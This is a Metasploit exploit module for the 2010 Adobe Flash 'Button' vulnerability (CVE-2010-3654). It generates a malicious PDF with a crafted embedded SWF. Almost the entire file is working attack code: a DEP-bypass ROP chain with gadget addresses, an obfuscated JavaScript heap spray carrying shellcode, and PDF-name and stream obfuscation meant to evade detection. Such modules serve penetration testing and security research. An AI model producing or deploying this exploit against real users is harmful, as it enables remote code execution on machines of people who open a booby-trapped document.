##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Adobe Flash Player "Button" Remote Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in the handling of certain SWF movies
          within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat
          are also vulnerable, as are any other applications that may embed Flash player.

          Arbitrary code execution is achieved by embedding a specially crafted Flash
          movie into a PDF document. An AcroJS heap spray is used in order to ensure
          that the memory used by the invalid pointer issue is controlled.

          NOTE: This module uses a similar DEP bypass method to that used within the
          adobe_libtiff module. This method is unlikely to work across various
          Windows versions due to a hardcoded syscall number.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Unknown', # Found being openly exploited
          'Haifei Li', # PoC
          'jduck'      # Metasploit version
        ],
        'References' => [
          ['CVE', '2010-3654'],
          ['OSVDB', '68932'],
          ['BID', '44504'],
          ['URL', 'http://www.adobe.com/support/security/advisories/apsa10-05.html'],
          ['URL', 'http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve-2010-3654/'], # PoC
          # For SWF->PDF embedding
          ['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          # Tested OK via Adobe Reader 9.4.0 on Windows XP SP3 (uses flash 10.1.85.3) -jjd
          [ 'Automatic', {}],
        ],
        'DisclosureDate' => '2010-10-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
      ]
    )
  end

  def exploit
    swf_data = make_swf()
    js_data = make_js(payload.encoded)

    # Create the pdf
    pdf = make_pdf(swf_data, js_data)

    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(pdf)
  end

  def make_swf
    # load the static swf file
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2010-3654.swf")
    fd = File.open(path, "rb")
    swf_data = fd.read(fd.stat.size)
    fd.close
    swf_data
  end

  def make_js(encoded_payload)
    # The following executes a ret2lib using BIB.dll
    # The effect is to bypass DEP and execute the shellcode in an indirect way
    stack_data = [
      0xc0c0c0c,
      0x7002fe1,      # mov edx,[esi+0x18] / test edx,edx / je +0x12 / mov eax,[esi+0xc] / mov ecx,[esi+4] / push eax / push ecx / push esi / call edx
      0xcccccccc,
      0xcccccccc,
      0xc0c0c0c + 0x10,
      0x7004919,      # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
      0xcccccccc,
      0x70048ef,      # xchg eax,esp / ret
      0x700156f,      # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
      0xcccccccc,
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009033,      # ret 0x18
      0x7009084,      # ret
      0xc0c0c0c,
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7009084,      # ret
      0x7001599,      # pop ebp / ret
      0x10124,
      0x70072f7,      # pop eax / ret
      0x10104,
      0x70015bb,      # pop ecx / ret
      0x1000,
      0x700154d,      # mov [eax], ecx / ret
      0x70015bb,      # pop ecx / ret
      0x7ffe0300,     # -- location of KiFastSystemCall
      0x7007fb2,      # mov eax, [ecx] / ret
      0x70015bb,      # pop ecx / ret
      0x10011,
      0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
      0x70015bb,      # pop ecx / ret
      0x10100,
      0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
      0x70072f7,      # pop eax / ret
      0x10011,
      0x70052e2,      # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
      0x7005c54,      # pop esi / add esp,0x14 / ret
      0xffffffff,
      0x10100,
      0x0,
      0x10104,
      0x1000,
      0x40,
      # The next bit effectively copies data from the interleaved stack to the memory
      # pointed to by eax
      # The data copied is:
      # \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
      # \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
      # \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
      0x700d731,      # mov eax, [ebp-0x24] / ret
      0x70015bb,      # pop ecx / ret
      0x9054905a,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x5815eb5a,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x18891a8b,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x8304c083,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0xfb8104c2,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0xc0c0c0c,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x5ebee75,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0xffffe6e8,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x909090ff,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x90909090,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x90909090,
      0x700154d,      # mov [eax], ecx / ret
      0x700a722,      # add eax, 4 / ret
      0x70015bb,      # pop ecx / ret
      0x90ffffff,
      0x700154d,      # mov [eax], ecx / ret
      0x700d731,      # mov eax, [ebp-0x24] / ret
      0x700112f       # call eax -- (execute stub to transition to full shellcode)
    ].pack('V*')

    var_unescape = rand_text_alpha(rand(100) + 1)
    var_shellcode = rand_text_alpha(rand(100) + 1)

    var_start = rand_text_alpha(rand(100) + 1)

    var_s = 0x10000
    var_c = rand_text_alpha(rand(100) + 1)
    var_b = rand_text_alpha(rand(100) + 1)
    var_d = rand_text_alpha(rand(100) + 1)
    var_3 = rand_text_alpha(rand(100) + 1)
    var_i = rand_text_alpha(rand(100) + 1)
    var_4 = rand_text_alpha(rand(100) + 1)

    payload_buf = ''
    payload_buf << stack_data
    payload_buf << encoded_payload

    escaped_payload = Rex::Text.to_unescape(payload_buf)

    js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|

    js
  end

  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj\n" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end

  # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      else
        result << c
      end
    end
    result
  end

  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end

  def make_pdf(swf, js)
    swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

    xref = []
    eol = "\n"
    endobj = "endobj" << eol

    # Randomize PDF version?
    pdf = "%PDF-1.5" << eol
    # pdf << "%" << random_non_ascii_string(4) << eol

    # catalog
    xref << pdf.length
    pdf << io_def(1) << n_obfu("<</Type/Catalog")
    pdf << n_obfu("/Pages ") << io_ref(3)
    pdf << n_obfu("/OpenAction ") << io_ref(5)
    pdf << n_obfu(">>")
    pdf << eol << endobj

    # pages array
    xref << pdf.length
    pdf << io_def(3) << n_obfu("<</Type/Pages/Count 1/Kids [") << io_ref(4) << n_obfu("]>>") << eol << endobj

    # page 1
    xref << pdf.length
    pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3)
    pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("] ")
    pdf << n_obfu(">>")
    pdf << eol << endobj

    # js action
    xref << pdf.length
    pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << eol << endobj

    # js stream
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
    pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj

    # swf annotation object
    xref << pdf.length
    pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype/RichMedia")
    pdf << n_obfu("/Rect [20 20 187 69] ")
    pdf << n_obfu("/RichMediaSettings ") << io_ref(8)
    pdf << n_obfu("/RichMediaContent ") << io_ref(9)
    pdf << n_obfu("/NM (") << swf_name << n_obfu(")")
    pdf << n_obfu(">>")
    pdf << eol << endobj

    # rich media settings
    xref << pdf.length
    pdf << io_def(8)
    pdf << n_obfu("<</Type/RichMediaSettings/Subtype/Flash")
    pdf << n_obfu("/Activation ") << io_ref(10)
    pdf << n_obfu("/Deactivation ") << io_ref(11)
    pdf << n_obfu(">>")
    pdf << eol << endobj

    # rich media content
    xref << pdf.length
    pdf << io_def(9)
    pdf << n_obfu("<</Type/RichMediaContent")
    pdf << n_obfu("/Assets ") << io_ref(12)
    pdf << n_obfu("/Configurations [") << io_ref(14) << "]"
    pdf << n_obfu(">>")
    pdf << eol << endobj

    # rich media activation / deactivation
    xref << pdf.length
    pdf << io_def(10)
    pdf << n_obfu("<</Type/RichMediaActivation/Condition/PO>>")
    pdf << eol << endobj

    xref << pdf.length
    pdf << io_def(11)
    pdf << n_obfu("<</Type/RichMediaDeactivation/Condition/XD>>")
    pdf << eol << endobj

    # rich media assets
    xref << pdf.length
    pdf << io_def(12)
    pdf << n_obfu("<</Names [(#{swf_name}) ") << io_ref(13) << n_obfu("]>>")
    pdf << eol << endobj

    # swf embeded file ref
    xref << pdf.length
    pdf << io_def(13)
    pdf << n_obfu("<</Type/Filespec /EF <</F ") << io_ref(16) << n_obfu(">> /F(#{swf_name})>>")
    pdf << eol << endobj

    # rich media configuration
    xref << pdf.length
    pdf << io_def(14)
    pdf << n_obfu("<</Type/RichMediaConfiguration/Subtype/Flash")
    pdf << n_obfu("/Instances [") << io_ref(15) << n_obfu("]>>")
    pdf << eol << endobj

    # rich media isntance
    xref << pdf.length
    pdf << io_def(15)
    pdf << n_obfu("<</Type/RichMediaInstance/Subtype/Flash")
    pdf << n_obfu("/Asset ") << io_ref(13)
    pdf << n_obfu(">>")
    pdf << eol << endobj

    # swf stream
    # NOTE: This data is already compressed, no need to compress it again...
    xref << pdf.length
    pdf << io_def(16) << n_obfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
    pdf << "stream" << eol
    pdf << swf << eol
    pdf << "endstream" << eol
    pdf << endobj

    # trailing stuff
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end

    pdf << "trailer" << eol
    pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol

    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol

    pdf << "%%EOF" << eol
    pdf
  end
end
